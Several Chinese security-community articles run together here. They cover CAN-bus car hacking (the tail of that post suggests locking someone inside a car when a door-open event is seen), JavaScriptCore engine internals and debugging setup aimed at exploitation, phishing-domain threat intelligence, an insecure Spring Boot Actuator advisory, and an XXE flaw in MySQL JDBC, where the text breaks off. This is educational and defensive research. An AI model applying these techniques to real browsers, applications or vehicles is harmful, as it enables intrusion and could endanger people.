这种方法可以监听网络，然后根据监控结果以较为粗鲁的方式来做出反应。如果你担心某些人盗窃你的车，此时可以监控开门事件，一旦有人尝试开门就可以立即将他们锁在车内。
## 八、总结
我并不是专业的汽车黑客，但我希望你喜欢这篇文章。在接下来的文章中，我想给大家分享如何编写python代码，以类似方式操控CAN网络。使用自己编写的代码后，我们可以不限于这些工具提供的功能，自由度更大一些，这种方法比使用CanUtils预定义的工具来说功能更加强大。在后续文章中，如果你想在实际的汽车上尝试攻击，我还会介绍硬件方面的内容，不过实际操作更加复杂，也可能出现错误。 | 社区文章 |
# JavaScript engine exploit（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
写这篇文章的目的主要是希望记录下自己学习的过程，也将自己的学习经历分享给希望学习JS引擎漏洞利用的初学者。
我刚开始学习的是JSC（JavaScriptCore），这是Safari浏览器所使用的内核WebKit的JS引擎。我选择这个目标入手的原因主要是这个比较简单，很多大佬给出的JS引擎的研究难度基本都是：
V8（Chrome）> Spidermonkey（Firefox）> JacaScriptCore（Safari）> Chakra（Edge）
因为Chakra快被微软抛弃了，所以我还是选择了JSC。
## 0x01 JS引擎的一些基础知识
在学习JS引擎的漏洞利用之前，对JS引擎的一些内部运行原理做一个了解肯定是必要的。当然，也不必把所有原理都了解，由于我是通过调试特定的漏洞来进行学习（大部分初学者都是如此），所以我们只需要了解到与这个漏洞相关的一些知识就足够了。推荐去看saelo在2016年发的paper：[Attacking
javascript
engines](http://phrack.org/papers/attacking_javascript_engines.html)
我在下面也引述文章中的部分内容。
### JavaScript engine overview
总体来看，JavaScript引擎包括了三个部分：
* 一个基础的编译器，至少需要包含一个JIT（Just-in-time）。
* 一个JavaScript VM，用来运行JavaScript代码。
* 一个JavaScript Runtime，用来提供一些内置Objects和Functions。
我们不需要关心编译器的内部原理，因为跟我们的漏洞利用关系不大（至少看起来关系不大），我们只需要把编译器看作一个 “输入源码，输出字节码”的黑盒就行了。
### The VM, Values, and NaN-boxing
VM通常都包含一个可以直接执行字节码的解释器。VM被实现为`stack-based`的机器（相对于`register-based`来讲），从而可以通过栈来对值进行操作。对于具体的操作码的实现可能看起来和下面一样：
CASE(JSOP_ADD)
{
MutableHandleValue lval = REGS.stackHandleAt(-2);
MutableHandleValue rval = REGS.stackHandleAt(-1);
MutableHandleValue res = REGS.stackHandleAt(-2);
if (!AddOperation(cx, lval, rval, res))
goto error;
REGS.sp--;
}
END_CASE(JSOP_ADD)
这段代码截取自Firefox的JS引擎Spidermonkey，而JSC使用汇编实现的类似功能，看起来就没有上面这么直观。对JSC的实现感兴趣的可以去看这个文件`Webkit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm`。
通常初级JIT（first stage JIT or called baseline JIT）负责减轻一些解释器的调度开销，而高级JIT（higher
stage JIT）则会做一些比较复杂的优化操作。有点类似于我们平常所使用的AOT（ahead-of-time）编译器，就比如gcc。优化型JIT（也就是前面提到的高级JIT）通常都是推测型的，意思就是它们会基于一些推测来进行优化，比如它会认为一个变量是而且一直是数字类型。当然这种推测也可能出错，当遇到出错的时候JIT就会回退到推测之前的状态。
JavaScript是动态类型语言，因此类型信息与运行时的变量有关，而不是编译时的变量。JavaScript类型系统定义了几个元类型（number,
string, boolean, null, undefined, symbol）和对象（array,
function）。需要注意的是JavaScript没有像其他语言一样包含‘类’的概念。取而代之的是JavaScript使用了所谓“基于原型的继承（prototype-based-inheritance）”，每个对象都有一个指向`prototype`对象的引用，这个prototype对象包含了指向它的对象的属性。
出于性能考虑（快速拷贝，适应64位的寄存器架构等），所有主流的JavaScript引擎在表示一个Value的时候都不超过八字节。一些JS引擎，比如v8，会使用`tagged
pointers`来表示值，它会使用最低有效位来标识一个值是指针还是立即数。JSC和Spidermonkey则使用了另一种叫做`NaN-boxing`的概念。在`NaN-boxing`中使用了多种位模式来表示NaN（Not-a-Number），所以可以将这些位模式来编码其他的值，以下是IEEE 754的规则总结：
形式 | 指数 | 小数部分
---|---|---
零 | 0 | 0
非规约形式 | 0 | 大于0小于1
规约形式 | 到 | 大于等于1小于2
无穷 | | 0
NaN | | 非0
这些多余的位模式足够用来编码整型和指针了，也因为使用了NaN-boxing，对于64位平台而言，目前只有48位用于寻址。
JSC使用的这个方案在`Webkit/Source/JavaScriptCore/runtime/JSCJSValue.h`中有很好的解释，引用如下：
/*
...
* The top 16-bits denote the type of the encoded JSValue:
*
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0001:****:****:****
* Double { ...
* FFFE:****:****:****
* Integer { FFFF:0000:IIII:IIII
*
* The scheme we have implemented encodes double precision values by
* performing a 64-bit integer addition of the value 2^48 to the number.
* After this manipulation no encoded double-precision value will begin
* with the pattern 0x0000 or 0xFFFF. Values must be decoded by
* reversing this operation before subsequent floating point operations
* may be performed.
*
* 32-bit signed integers are marked with the 16-bit tag 0xFFFF.
*
* The tag 0x0000 denotes a pointer, or another form of tagged
* immediate. Boolean, null and undefined values are represented by
* specific, invalid pointer values:
*
* False: 0x06
* True: 0x07
* Undefined: 0x0a
* Null: 0x02
*
...
*/
总结：
* Pointer： [0000][xxxx:xxxx:xxxx]（前两个字节为0，后六个字节寻址）
* Double： [0001～FFFE][xxxx:xxxx:xxxx]
* Intger： [FFFF][0000:xxxx:xxxx]（只有低四个字节表示数字）
* False： [0000:0000:0000:0006]
* True： [0000:0000:0000:0007]
* Undefined： [0000:0000:0000:000a]
* Null： [0000:0000:0000:0002]
有意思的是0x0不是一个合法的JSValue，它会在在引擎中导致崩溃。
### Objects and Arrays
JavaScript中的对象实际上就是属性的集合，这些属性都可用（key,
value）的键值对来表示。可以使用点（foo.bar）或者方括号（foo[‘bar’]）来访问属性。至少在理论上，在使用键来查找值之前都需要先将键转化为字符串的形式。
数组被描述为特殊的(“exotic”)对象，如果属性名称由32位整数来表示的话，这些属性也被称为元素。如今的大多数引擎都将这个概念扩展到了所有对象。然后，数组就是拥有`length`属性的特殊对象，它的值始终等于最高元素的索引加一。这些规定的结果就是，每个对象都具有通过字符串或者符号键访问的属性，以及通过整数索引访问的属性。
在内部，JSC将属性和元素存储在同一片内存区域中，并且在对象内部存放指向这块内存的指针。这个指针指向这片内存的中间位置，左边存放对象的属性值，右边存放对象的元素值，而在左边最近的那个内存单元存放了一个header，这个header里包含了`length`的值。这样的内存表现形式被称为`Butterfly`，在下文我们都将这种内存和指向它的指针都称为`Butterfly`，这样会使文章理解起来轻松一些。
-------------------------------------------------------- .. | propY | propX | length | elem0 | elem1 | elem2 | ..
-------------------------------------------------------- ^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+
实际上使用Butterfly来存储数据只是一个可选项（Optional），如果对象属性不多（不大于6个）而且不是数组的时候，对象的属性值将不会申请Butterfly，而是存储在对象内部，内存结构如下：
object : objectHeader butterfly(Null)
object+0x10 : prop_1 prop_2
object+0x20 : prop_3 prop_4
object+0x30 : prop_5 prop_6
虽然通常来讲，元素不需要线性地存储在内存中，但特别地：
a = [];
a[0] = 42;
a[10000] = 42;
这段代码可能会导致数组以某种分散的模式来存储，这种模式会根据给定的索引额外在数组的后备存储内存中映射一个索引出来。这样的话，这个数组就不需要请求10001个元素所需要的内存了。除了不同的数组存储模式，数组也拥有不同的表现形式来表示存储的数据。举个例子，一个32位的整型数组可能会以原生形式（native
form）存储来避免NaN-boxing的解包和重打包操作，这样也节约了内存。因此JSC也在`Webkit/Source/JavaScriptCore/runtime/IndexingType.h`中定义了一组不同的索引类型。最重要的部分有：
ArrayWithInt32 = IsArray | Int32Shape;
ArrayWithDouble = IsArray | DoubleShape;
ArrayWithContiguous = IsArray | ContiguousShape;
第三种存储的是JSValue，前两种存储的都是它们的原生类型。
到这里可能有读者会好奇在这种模式下，对象的属性是如何被索引到的，这点将会在后面深入讨论，简单来讲，有一种被称为`structure`的特殊元对象通过给定的属性名，将每个对象的属性映射到对应内存位置。
### Functions
Functions在Javascript十分重要，因此它也值得我们对它进行特别的讨论。
当执行一个函数体时，两个特殊的变量将可以访问。一个是`arguments`，它提供对参数和调用者的访问，从而使得可以创建具有参数的Function。另一个就是`this`，根据Function的调用情况，`this`可以指向不同的对象：
* 如果调用的Function作为构造函数（ new func(…) ），`this`指向新创建的对象，在Function定义期间，构造函数就已经为新对象设置了`.prototype`属性。
* 如果Function作为某个对象的方法被调用（obj.func(…)），`this`将指向这个对象。
* 否则`this`只是指向当前的全局对象，因为它在Function之外使用。
因为Functions是JavaScript中十分重要的对象，它们同样具有属性。根据刚才的描述我们知道了`.prototype`属性，另外每个Function（实际上是Function
prototype）还有两个比较有趣的属性，`.call`和`.apply`函数，允许使用给定的`this`和一些参数来调用Function。例如，可以使用它们来完成装饰器的功能：
function decorate(func) {
return function() {
for (var i = 0; i < arguments.length; i++) {
// do something with arguments[i]
}
return func.apply(this, arguments);
};
}
这同样也对Function在JS引擎的内部实现有一定的影响，这个导致了Function不能假定调用它们的对象的类型，因为这些对象可能是任意类型，因此所有的JavaScript内部Funciton不仅要检查参数的类型，也要对`this`对象进行类型检查。
在内部，内置的函数或者方法通常以两种方法实现，C++的Native Function或者是JavaScript
Function。可以看一个JSC中的Native Function示例，`Math.pow()`的实现：
EncodedJSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec){
// ECMA 15.8.2.1.13
double arg = exec->argument(0).toNumber(exec);
double arg2 = exec->argument(1).toNumber(exec);
return JSValue::encode(JSValue(operationMathPow(arg, arg2)));
}
我们可以看到：
1. Native JavaScript Function的签名。
2. 如何使用`argument`提取参数（如果参数不够就返回undefine）。
3. 如何将参数转化为需要的类型，有一组特定的转换规则，这一点将在之后详细讨论。
4. 如何对本地数据类型进行实际操作。
5. 如何将结果返回给调用者，这里简单地将结果编码为了JSValue。
这里还有一个显而易见的部分，各种核心的操作(`operationMathPow(arg,
arg2)`)都是用单独的函数，这样它们可以直接被JIT编译了的代码调用。
### The Structures
这个部分属于JavaScript对象模型的内容，关系到JavaScript引擎如何去访问对象的属性。因为访问属性在JavaScript中是一个十分频繁的操作，为了提高访问速度，每个主流的JavaScript引擎都对此做了优化，在不同的引擎中对这种技术的称呼也各不相同：
* 在学术论文中被称为 _Hidden Classes_
* 在V8中是 _Maps_
* 在Chakra中是 _Types_
* 在JavaScriptCore中是 _Structures_
* 在Spidermonkey中是 _Shapes_
根据ECMAScript的规范，所有JavaScript对象都被定义为一个由字符串键值映射到属性值的一个字典。引用MDN的描述：
> An object is a collection of properties, and a property is an association
> between a name (or _key_ ) and a value.
既然如此，作为键值的字符串如果存储在对象的内存中将会十分浪费空间，因为这样的话每生成一个对象就出多出一份键值的拷贝。而在JavaScript中，多个对象具有相同的属性是经常发生的事情，从某个方面来讲，这些对象都具有相同的形状（Shapes），也可以说具有相同的结构（Structure）。比如：
const object1 = { x: 1, y: 2 };
const object2 = { x: 3, y: 4 };
`object1`和`object2`虽然是两个不同的对象，但是他们的键值都是一样的。这种情况下它们就具有相同的结构，在JavaScriptCore中也能看到它们具有相同的StructureID。
>>> describe(object1)
Object: 0x106ab0100 with butterfly 0x0 (Structure 0x106a500e0:[Object, {x:0, y:1}, NonArray, Proto:0x106ab4000, Leaf]), StructureID: 289
>>> describe(object2)
Object: 0x106ab0140 with butterfly 0x0 (Structure 0x106a500e0:[Object, {x:0, y:1}, NonArray, Proto:0x106ab4000, Leaf]), StructureID: 289
>>>
如果我们要访问对象的属性，JSC就会先根据StructureID找到对应的Structure，然后找到对应的属性名，读取属性在内联存储或者是butterfly中的偏移值，最后读取属性值。
如果此时给`object2`增加一个属性`z`，JavaScriptCore就会在Structure链中寻找有没有只拥有`x,y,z`三个属性的Structure，如果没有则重新创建一个并分配一个新的StructureID。
>>> objectY.z = 0
0
>>> describe(objectY)
Object: 0x106ab0140 with butterfly 0x0 (Structure 0x106a50150:[Object, {x:0, y:1, z:2}, NonArray, Proto:0x106ab4000, Leaf]), StructureID: 290
>>>
### Just-In-Time compiler
前面提到过JIT，但没有细说。其实JIT也是一个编译器，可以简单理解为和gcc一样的编译器，不过JS引擎中的JIT是将JavaScript代码编译成了机器码。JIT在JSC中一共分为四个等级：
1. LLInt (LowLevelInterpreter)
2. Baseline JIT compiler
3. DFG JIT
4. FTL JIT
##### LLInt
llint是JavaScriptCore虚拟机的基础组件，逻辑非常简单，可以理解为一个switch循环，传入对应的JavaScript机器码，然后执行对应的指令。
##### Baseline JIT compiler
当一个function被多次调用之后，它就会变得”hot”，这时候就需要使用JIT
compiler对它进行优化。在`Source/JavaScriptCore/jit/JIT.cpp`中：
> _// We can only do this optimization because we execute ProgramCodeBlock’s
> exactly once._
>
> // This optimization would be invalid otherwise. When the LLInt determines
> it wants to*
>
> _// do OSR entry into the baseline JIT in a loop, it will pass in the
> bytecode offset it_
>
> _// was executing at when it kicked off our compilation. We only need to
> compile code for_
>
> _// anything reachable from that bytecode offset._
当function需要进一步优化的时候，JSC就会通过OSR（On Stack Replacement ）从LLInt切换到Baseline JIT。
##### DFG JIT
引用WebKit官方文档[WebKit JIT](https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/)中的一段话：
> The first execution of any function always starts in the interpreter tier.
> As soon as any statement in the function executes more than 100 times, or
> the function is called more than 6 times (whichever comes first), execution
> is diverted into code compiled by the Baseline JIT. This eliminates some of
> the interpreter’s overhead but lacks any serious compiler optimizations.
> Once any statement executes more than 1000 times in Baseline code, or the
> Baseline function is invoked more than 66 times, we divert execution again
> to the DFG JIT.
和前面从LLInt切换到Baseline JIT的条件类似，如果一个函数在Baseline JIT中执行次数过多，又会切换到DFG JIT中。
从文档中还可以看到一个关于DFG的细节：
> The DFG starts by converting bytecode into the DFG CPS form, which reveals
> data flow relationships between variables and temporaries. Then profiling
> information is used to infer guesses about types, and those guesses are used
> to insert a minimal set of type checks. Traditional compiler optimizations
> follow. The compiler finishes by generating machine code directly from the
> DFG CPS form.
DFG会根据搜集到的信息去推测变量的类型，如果认定了一个变量的类型，在之后将不会对变量类型进行检查，这个对我们之后的利用会很有帮助。
##### FTL JIT
> We reuse most of the DFG phases including its CPS-based optimizations. The
> new FTL pipeline is a drop-in replacement for the third-tier DFG backend. It
> involves additional JavaScript-aware optimizations over DFG SSA form,
> followed by a phase that lowers DFG IR ( _intermediate representation_ ) to
> LLVM IR. We then invoke LLVM’s optimization pipeline and LLVM’s MCJIT
> backend to generate machine code.
其实FTL相对于其他三个JIT算是新加入的一个技术，设计它的目的是想让JavsScript的运行更加接近C的速度，事实证明确实非常接近了。值得一提的是FTL重用了DFG的一些部分，包括类型推理引擎。
## 0x02 搭建调试环境
官方文档：[Building Webkit](https://webkit.org/building-webkit/)
我使用的系统是MacOS，不过WebKit同样可以在其他系统（Windows、Linux）编译运行，我看到大多数人会选择在Ubuntu
18.04上编译，不过我没编译成功过，不知道什么原因。我直接引用别人在Ubuntu 18.04的编译命令：
# sudo apt install libicu-dev python ruby bison flex cmake build-essential ninja-build git gperf
$ git clone git://git.webkit.org/WebKit.git && cd WebKit
$ Tools/gtk/install-dependencies
$ Tools/Scripts/build-webkit --jsc-only --debug
$ cd WebKitBuild/Debug
$ LD_LIBRARY_PATH=./lib bin/jsc
我说一下在MacOS的build流程。首先确保安装了Xcode和Xcode的命令行工具。
#我的系统版本 macOS Mojave
$ sw_vers
ProductName: Mac OS X
ProductVersion: 10.14.6
BuildVersion: 18G84
$ git clone git://git.webkit.org/WebKit.git WebKit
#这个说明已经安装好了
$ xcode-select --install
xcode-select: error: command line tools are already installed, use "Software Update" to install updates
#确定Xcode路径是否正确
$ xcode-select -p
/Applications/Xcode.app/Contents/Developer
#Xcode路径和上面不一样的，可以是用如下命令切换
$ sudo xcode-select --s /Applications/Xcode.app/Contents/Developer
$ xcodebuild -version
Xcode 10.3
Build version 10G8
#编译之前确定切换到漏洞分支
$ git checkout ...
#到WebKit根目录下执行这个指令就可以了
$ Tools/Scripts/build-webkit --jsc-only --debug
我可能运气比较好，到这里都没出现过什么问题。直接可以运行JSC的 _REPL(**_ R **ead** E **val** P **rint**
L**oop)。
$ WebKitBuild/Debug/bin/jsc
>>> a = 1
1
>>>
如果遇到`DYLD_FRAMEWORK_PATH`路径的问题可以手动设置一下环境变量：
#补全为绝对路径就行了
export DYLD_FRAMEWORK_PATH=.../WebKitBuild/Debug
调试器我用的lldb，对比gdb的指令可以很快上手：[GDB to LLDB command
map](https://lldb.llvm.org/use/map.html)
## 0x03 开始调试
可以直接用lldb载入jsc：
$ lldb ./WebKitBuild/Debug/bin/jsc
(lldb) target create "./WebKitBuild/Debug/bin/jsc"
Current executable set to './WebKitBuild/Debug/bin/jsc' (x86_64).
(lldb) run
Process 39132 launched: '/Users/7o8v/Documents/SecResearch/Browser/WebKit/WebKit.git/WebKitBuild/Debug/bin/jsc' (x86_64)
>>>
调试过程中可以配合JSC提供的调试函数进行调试，比如`describe()`：
>>> a = [1,2,3]
1,2,3
>>> describe(a)
Object: 0x108ab4340 with butterfly 0x8000e4008 (Structure 0x108af2a00:[Array, {}, ArrayWithInt32, Proto:0x108ac80a0, Leaf]), StructureID: 97
>>> a[3] = 1.1
1.1
>>> describe(a)
Object: 0x108ab4340 with butterfly 0x8000e4008 (Structure 0x108af2a70:[Array, {}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 98
>>> a[4] = {}
[object Object]
>>> describe(a)
Object: 0x108ab4340 with butterfly 0x8000e4008 (Structure 0x108af2ae0:[Array, {}, ArrayWithContiguous, Proto:0x108ac80a0]), StructureID: 99
>>>
更多的调试技巧可以看这篇文章：[WebKit JavaScriptCore的特殊调试技巧](http://dwfault-blog.imwork.net:30916/2019/01/03/WebKit%20JavaScriptCore%E7%9A%84%E7%89%B9%E6%AE%8A%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/)
过程中也可以使用`Ctrl+C`中断，然后使用lldb命令。
也可以载入JSC之后，运行脚本文件：
$ lldb ./WebKitBuild/Debug/bin/jsc
(lldb) target create "./WebKitBuild/Debug/bin/jsc"
Current executable set to './WebKitBuild/Debug/bin/jsc' (x86_64).
(lldb) run -i ./poc.js
Process 39152 launched: ...
>>>
## 0x04 Reference
[1] <https://github.com/m1ghtym0/browser-pwn#safari-webkit>
[2] <https://webkit.org/blog/6756/es6-feature-complete/>
[3] <https://mathiasbynens.be/notes/shapes-ics>
[4] <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_Objects>
[5] <https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/>
[6] <http://phrack.org/papers/attacking_javascript_engines.html>
[7] <http://dwfault-blog.imwork.net:30916/2019/01/03/WebKit%20JavaScriptCore%E7%9A%84%E7%89%B9%E6%AE%8A%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/>
[8] <https://webkit.org/blog/7846/concurrent-javascript-it-can-work/> | 社区文章 |
##### Author：elknot@360corpsec
* * *
## 0x01 写在前面
这个文章不要被标题蒙骗了，可能不会是一个系列，只是分享一些平时威胁情报引用的小trick。看懂这篇文章不一定需要多强的渗透能力和漏洞挖掘能力，只需要细心、耐心和对数据敏感即可，因为情报应用本身就不是一个技术含量多高的事儿。
威胁情报这个东西和态势感知一样，很多人认为这个东西实际上是没什么太大的作用，但是事实上说这些的人我可以肯定10个里面至少有9个都是做安全做的非常牛逼的人，这个是毋庸置疑的。所以想借此文来科普一下威胁情报如何在日常安全运营中产生应用的价值。正值现在手头被一些钓鱼网站的事儿缠着，所以先来说说钓鱼网站那些事儿吧
* * *
## 0x02 钓鱼网站的感知
钓鱼网站的感知实际上不太好感知，我们不妨先来理一下钓鱼网站感知的发展过程。如果对钓鱼网站有了解的童鞋请跳过下面三段直接看后面。
原始社会：这个时候安全的概念基本上都没有，更何况对于钓鱼网站呢，在当时那种时候钓鱼网站基本上可感知程度为0，原因其实是多方面的，首先当时网络安全本身就是荒地，大家都没人重视，很多开发大哥至今现在都有这种想法（不就是个假冒登陆的页面么，我一小时给你写五个，而且换个Logo就能用，怎么样，牛逼吧），除此之外有些受害者出于自身面子等一系列问题，不愿意承认自己被钓鱼网站骗了，这是两个主要的非技术原因。至于技术原因嘛，自然是监控能力发展的不够高级，而且数据这个玩意儿当时没人会和安全扯上关系（要知道数据驱动安全的概念是最近五年才人尽皆知的），所以这个时候，成功被钓鱼的人出于面子不愿意说，钓鱼模仿的业务提供商完全检测不到，一个愿打一个愿挨，所以这个时候并没有什么好的方法检测。
初级阶段：这个时候安全监测能力上来了点，同时做钓鱼网站的人也想到了为啥不多干点坏事，于是客户因为遭受了巨额的经济损失，外加企业越来越重视客户服务这一块（早年的客服都是大爷），所以便有了渠道，再加上法制的逐渐建全，这个时候会去发现一些，但是还是比较有限，基本上一年也就不超过10个，而且拿过来基本上就是让上面封禁，所以能解决部分问题。
上面说的就是两个比较老的情况，现在由于SRC等多方面安全应急响应渠道的建立，加上网络安全已经名副其实的变成了风口上的猪、网络安全法的立法等众所周知的诸多原因，网络安全现在变成了一个扫大街的大妈都能跟你侃两句现在网络多不安全的程度。根据2017年的多份报告显示，以BEC为主的钓鱼攻击已经占据了EMEA、APAC等大区最高的攻击类型的份额。所以现在对于钓鱼网站的检测方式确实是占到了一个前所未有的高度。
废话说的有点太多了，如果不需要科普的，以上部分可以跳过。
首先钓鱼网站的一个lifecycle是下面这个样子的：
首先钓鱼网站的团队先会评估一个要冒充网站的各种安全指标，当然他们内部有自己的标准，因为曾经卧底过一个钓鱼团伙，最后发现他们主要还是看钱和目标的安全能力，其他的我就不多说了。评估完一个目标之后就开始了钓鱼网站的制作，除了coding之外，这些人还会去侦查目标的资产、注册一批和目标使用资产相似度很高的假冒域名（后面会说怎么去识别这些域名）、购买服务器、测试域名绑定、上线代码，这样的话就基本上完成了一个制作的步骤。这一部分完成了之后就是分发，分发有很多种渠道，最常用的是垃圾邮件群发，短信群发、伪基站、论坛域名，不乏有艺高人胆大的直接劫持（风险太大，想进去的可以尝试，目前稍微有点价值的目标都能对劫持实时发现，100%被抓）或者是DNS投毒。发布完了之后就坐等上钩了，当第一个人发现这个网站的时候，根据病毒的传播原理，很有可能很多人都已经上当了，这个时候及时封禁了，钓鱼团伙一样是可以有实打实的利益的。
那么现在基本上问题就已经显而易见了，我们要保证尽可能的减小因为钓鱼产生的经济损失，理想情况下可以按照以下几个策略去执行：
1. 实时监控全网的钓鱼邮件相关的资产比如域名、IDC、页面等
2. 同时监测有谁访问了这些域名
3. 建立及时有效的机制来停止对这些域名的解析
4. 强大的反套路能力查到是谁干的这件事和动机
那么好，我们现在有了这些目标了，就应该去拆解一下目标为一个一个的关键数据。
首先实时监控全网钓鱼邮件的资产，资产这件事情其实有很多种方法检测，由于钓鱼攻击独特的特点，从域名下手是较为有效的，首先一般钓鱼的域名有这么几种：
* 相似度极高的域名比如：a1ibaba-1nc.com、tecnent.com这种
* 域名无关但是host名有关系的比如：www-qq-com.12345.org
* 域名无关同时host也无关，但是url有关的比如：test.1234.org/alibaba-inc.com/index.jsp
* 域名、host、url均无关但是页面内容和钓鱼有关系的
* 其他的直观看上去很像的，比如xn-12232232321.net
这样的话我们就有了需要监控的目标和所用的技术，域名、变形域名和host这三个数据可以通过威胁情报的网络活动heatmap和pdns被动dns解析数据来解决，url的话可以通过webcache或者是archive.org这种可以查看历史页面缓存的数据来解决，至于页面看上去很像的，可以上个ML了。这样的话第一个问题就可以解决了。
针对监测访问域名这个问题，可能就需要使用威胁情报数据里面的历史DNS数据、套接字数据和大网数据来分析访问情况（情报数据里面PDNS和大网数据可以解决很多问题），因为历史DNS解析数据可以看到域名解析次数，大致可以判断一个受影响情况，大网数据则可以看到哪些IP访问了这个服务器，插一句，这些数据绝大多数的时候是要钱的，不想花钱的话建议放弃或者刷脸，放弃是第一选择，这样第二个问题也就解决了。
至于第三个问题就是人的问题了，团队应急响应速度是不是及时，有没有跟上面沟通的渠道，上面会不会给你办，这些问题就是一个考验团队素质的问题，比如说推一个漏洞修复都推不下去的团队估计干这件事儿，有点问题了，这个应该是leader考虑的问题了。
第四个问题嘛，还是那句话，有钱可以专门买服务去查这件事儿，没钱的话，手头有足够多的人脉和数据也能干这件事儿，虽然数据也是要钱和精力的。至于都没有，都没有还溯源？别做梦了。
* * *
## 0x03 来个case
其实这个case是上个月在帮助某大佬追一个appleid钓鱼的时候意外发现的，首先我们需要去查一下这个域名的whois信息嘛这个大家都懂，但是呢，你查到的信息绝大多数下都是这种乱填的。
要么就是这种：
可见网络安全意识增长的有时候不仅仅是普通人，连干黑产的也跟着长本事。不过我们有PDNS数据啊，我们可以看他之前的信息啊。得意.jpg。
所以PDNS这些数据还是能查到一些的，但是这样只解决了一个问题，至于社工什么的就留给各位大佬们去讨论了，在这里我只谈情报的运用。
这个时候我会考虑去查一下他还注册了那些域名，结果一查，发现了一堆好玩的东西。
这个域名居然还在解析，，，我猜可能是没有发现，于是乎再一次手贱点了下，发现，，，大大的一个403 forbidden。
根据我的推算，我觉得有可能是他正在测试，于是乎上了archive.org查看了下webcache，发现n天都是403，再结合threatcrowd的分析和一些大网上的来看，我觉得他应该是在调试，并没有真正的上线，后面通过某些不太和谐的手段（你懂得），发现，这网站本质上是个菠菜，然后不知道挂了个什么钓鱼的目录，但是有权限而且没有页面，由于场面过于血腥和不和谐，所以这里只有文字性描述，还请见谅。
这样的话，有关部门应该注意一下了
## 0x04 summary
由于某些众所周知的原因，不能跟大家分享更多的数据，实际上最后我是找到了这个人，但是结果很戏剧，首先这哥们自己也不知道自己的“业务系统”被人挂了钓鱼网站，其次，这哥们都不知道钓鱼网站是个啥。所以呢，，就没有然后了。
这篇文章其实写的很简单，但是呢希望可以向大家介绍一下威胁情报结合具体事件分析时候会有一些作用，另外，威胁情报这东西是一个积累数据的东西，本质上是大数据技术在网络安全方向的应用，所以呢数据越多越陈，越有用，如果你能搞到82年之后所有的PDNS数据，这些数据还是值不少钱的。
就这样吧。 | 社区文章 |
# 【缺陷周话】第44期：Spring Boot 配置错误：不安全的 Actuator
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、Spring Boot 配置错误：不安全的 Actuator
Spring Boot Actuator 是针对 Spring Boot 应用监控和管理而建立的一个模块，用于对 Spring Boot
应用的健康检查、审计、收集应用的运行状况和 HTTP 追踪等。Spring Boot Actuator 中包含了许多内置端点用于显示应用程序的监控信息，当
Spring Boot Actuator
配置不当时，攻击者可以通过访问默认的内置端点轻易获得应用程序的敏感信息。本文以JAVA语言源代码为例，分析“Spring
Boot配置错误：不安全的Actuator”缺陷产生的原因以及修复方法。
## 2、“Spring Boot 配置错误：不安全的 Actuator”的危害
在 Actuator 启用的情况下，如果没有做好相关权限控制，攻击者可以通过访问默认的执行器端点来获取应用系统中的监控信息。部分内置端点描述如下：
ID | 描述
---|---
auditevents | 显示应用暴露的审计事件 (比如认证进入、订单失败)
info | 显示应用的基本信息
env | 显示全部环境属性
health | 报告应用程序的健康指标，这些值由HealthIndicator的实现类提供
loggers | 显示和修改配置的loggers
mappings | 描述全部的URI路径，以及它们和控制器(包含Actuator端点)的映射关系
shutdown | 关闭应用程序，要求endpoints.shutdown.enabled设置为true
trace | 提供基本的 HTTP 请求跟踪信息（时间戳、HTTP 头等）
3、示例代码
示例源于 WebGoat-8.0.0.M25
(https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)，源文件名：application.properties。
### 3.1 缺陷代码
上述配置是对内置端点 trace 进行授权配置，设置为 false，是指不需要授权就可以访问内置端点
trace。访问内置端点trace时不需要特别授权，攻击者可以轻易获得应用基本的 HTTP 请求信息（时间戳、HTTP 头等），还有用户
token、cookie 字段。
使用代码卫士对上述示例代码进行检测，可以检出“Spring
Boot配置错误：不安全的Actuator”缺陷，显示等级为中。在代码行第19行报出缺陷，如图1所示：
图1：“Spring Boot 配置错误：不安全的 Actuator”检测示例
### 3.2 修复代码
在上述修复代码中，将内置端点trace 进行授权配置为 true，保证访问内置端点 trace 是经过授权的。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“SpringBoot配置错误：不安全的Actuator”缺陷。如图2所示：
图2：修复后检测结果
## 4、如何避免“Spring Boot 配置错误：不安全的 Actuator”
Spring Boot 也提供了安全限制功能。比如要禁用 trace 端点，则可设置如下：
endpoints.trace.enabled= false
如果只想打开一两个接口，那就先禁用全部接口，然后启用需要的接口：
endpoints.enabled = falseendpoints.metrics.trace= true
另外也可以引入 spring-boot-starter-security 依赖并自定义配置
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId></dependency> | 社区文章 |
## 前言
最近 `JDBC`爆了一个`XXE`漏洞，很久没有分析漏洞了，趁着周末没事分析下这个漏洞。
## 分析
> 10月21日,"阿里云应急响应"公众号发布Oracle Mysql
>
> JDBC存在XXE漏洞,造成漏洞的原因主要是因为`getSource`方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。
影响版本: `< MySQL JDBC 8.0.27`
漏洞影响版本在`8.0.27`以下，并且修复的是一个XXE漏洞，所以我们可以在github上对比提交记录快速找到[漏洞点](https://github.com/mysql/mysql-
connector-j/commit/4993d5735fd84a46e7d949ad1bcaa0e9bb039824)。漏洞主要在`MysqlSQLXML`中，可以看到新版本在解析XML前加上了一些防御XXE的方法。
搭建`8.0.26`环境后，查看`MysqlSQLXML#getSource`方法，这里为了能看起来更直观，我忽略了大部分代码，`getSource`根据传入`class`类型的不同做返回不同的`Source`，返回其他`source`并没有解析XML,但在处理`DomSource`时，通过`builder.parse`对`inputSource`的内容进行解析。
public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
...
if (clazz == null || clazz.equals(SAXSource.class)) {
...
return (T) new SAXSource(inputSource);
} else if (clazz.equals(DOMSource.class)) {
try {
...
